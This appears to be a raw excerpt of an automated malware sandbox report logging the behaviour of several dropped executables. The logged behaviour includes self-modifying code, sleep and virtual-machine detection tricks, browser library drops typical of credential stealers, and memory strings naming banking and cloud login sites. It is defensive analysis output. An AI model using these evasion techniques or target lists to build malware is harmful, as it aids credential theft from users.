Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Special instruction interceptor: First address: 31FA3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Special instruction interceptor: First address: 4CB9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Special instruction interceptor: First address: 4F06E0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Special instruction interceptor: First address: 5548CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Special instruction interceptor: First address: 8EF10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Special instruction interceptor: First address: 22E62B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Special instruction interceptor: First address: 25673B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Special instruction interceptor: First address: 23F680 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Special instruction interceptor: First address: 2B2946 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Special instruction interceptor: First address: EDB9DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Special instruction interceptor: First address: EDBA9C instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Special instruction interceptor: First address: 21EF10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Special instruction interceptor: First address: 1080201 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Special instruction interceptor: First address: 107ECA8 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Special instruction interceptor: First address: 3BE62B instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Special instruction interceptor: First address: 3E673B instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Special instruction interceptor: First address: 3CF680 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Special instruction interceptor: First address: 442946 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Special instruction interceptor: First address: 88CD15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Special instruction interceptor: First address: A3620B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Special instruction interceptor: First address: 88CCA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Special instruction interceptor: First address: A47BDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Special instruction interceptor: First address: 88CC83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Special instruction interceptor: First address: AC445E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Special instruction interceptor: First address: 81CBB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Special instruction interceptor: First address: 9C8950 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Special instruction interceptor: First address: 9EBC1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Special instruction interceptor: First address: A589FD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Memory allocated: 4F80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Memory allocated: 5170000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Memory allocated: 4F80000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

Code function: 4_2_04F20CD0 rdtsc

4_2_04F20CD0

Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 832
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1588
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 787
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 811
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 822
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1610
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window / User API: threadDelayed 5916
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window / User API: threadDelayed 3854
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2051
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 744

Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\tk85.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\pythoncom27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\win32process.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\tcl85.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\mfc90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\same.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\4O211C.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\mfcm90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\win32event.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\mpc\41678903251236549780	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\mfc90u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77202\mfcm90u.dll	Jump to dropped file

Source: C:\Users\user\Desktop\same.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-2467
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_3-2455
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_2-2345

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe TID: 5608	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe TID: 3856	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe TID: 3532	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe TID: 5780	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe TID: 6072	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7552	Thread sleep count: 832 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7552	Thread sleep time: -1664832s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7556	Thread sleep count: 1588 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7556	Thread sleep time: -3177588s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7468	Thread sleep count: 230 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7468	Thread sleep time: -6900000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7504	Thread sleep count: 787 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7504	Thread sleep time: -1574787s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500	Thread sleep count: 811 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500	Thread sleep time: -1622811s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7520	Thread sleep count: 822 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7520	Thread sleep time: -1644822s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7652	Thread sleep count: 1610 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7652	Thread sleep time: -3221610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe TID: 7788	Thread sleep time: -39660499758475511s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe TID: 7924	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2540	Thread sleep count: 2051 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7028	Thread sleep count: 744 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6348	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe TID: 6856	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe TID: 6856	Thread sleep count: 188 > 30
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe TID: 6856	Thread sleep count: 179 > 30
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe TID: 6856	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe TID: 6856	Thread sleep count: 34 > 30

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_003E2390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_002A2390
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00362390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_00362390
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C875070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,	10_2_6C875070

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E5467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_003E5467

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: 1C05b9.exe, 1C05b9.exe, 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmp, 1C05b9.exe, 00000004.00000000.2180998873.0000000000840000.00000080.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000005.00000000.2202922001.0000000000370000.00000080.00000001.01000000.0000000B.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2844713308.00000000004A9000.00000040.00000001.01000000.0000000D.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000001.2450373016.0000000000211000.00000080.00000001.01000000.0000000F.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000002.2503046543.0000000000211000.00000040.00000001.01000000.0000000F.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000000.2449631467.0000000000210000.00000080.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000F.00000000.2469207751.0000000000370000.00000080.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 1C05b9.exe, 00000004.00000003.2199106850.0000000001189000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}"q
Source: 2z8320.exe, 2z8320.exe, 00000006.00000003.2337791439.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2275414088.0000000001365000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2318032083.000000000134F000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2332435215.000000000134E000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2317652928.000000000134E000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2317467498.000000000134C000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3459464987.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3459464987.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000002.3078548633.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: f7eded9312.exe, 0000001C.00000003.2942192393.0000000005691000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2827526999.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\+
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000002.2511349962.0000000000918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\yL<
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: abu7zly.exe, 00000018.00000002.3441885150.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000002.2511349962.0000000000918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware3e
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
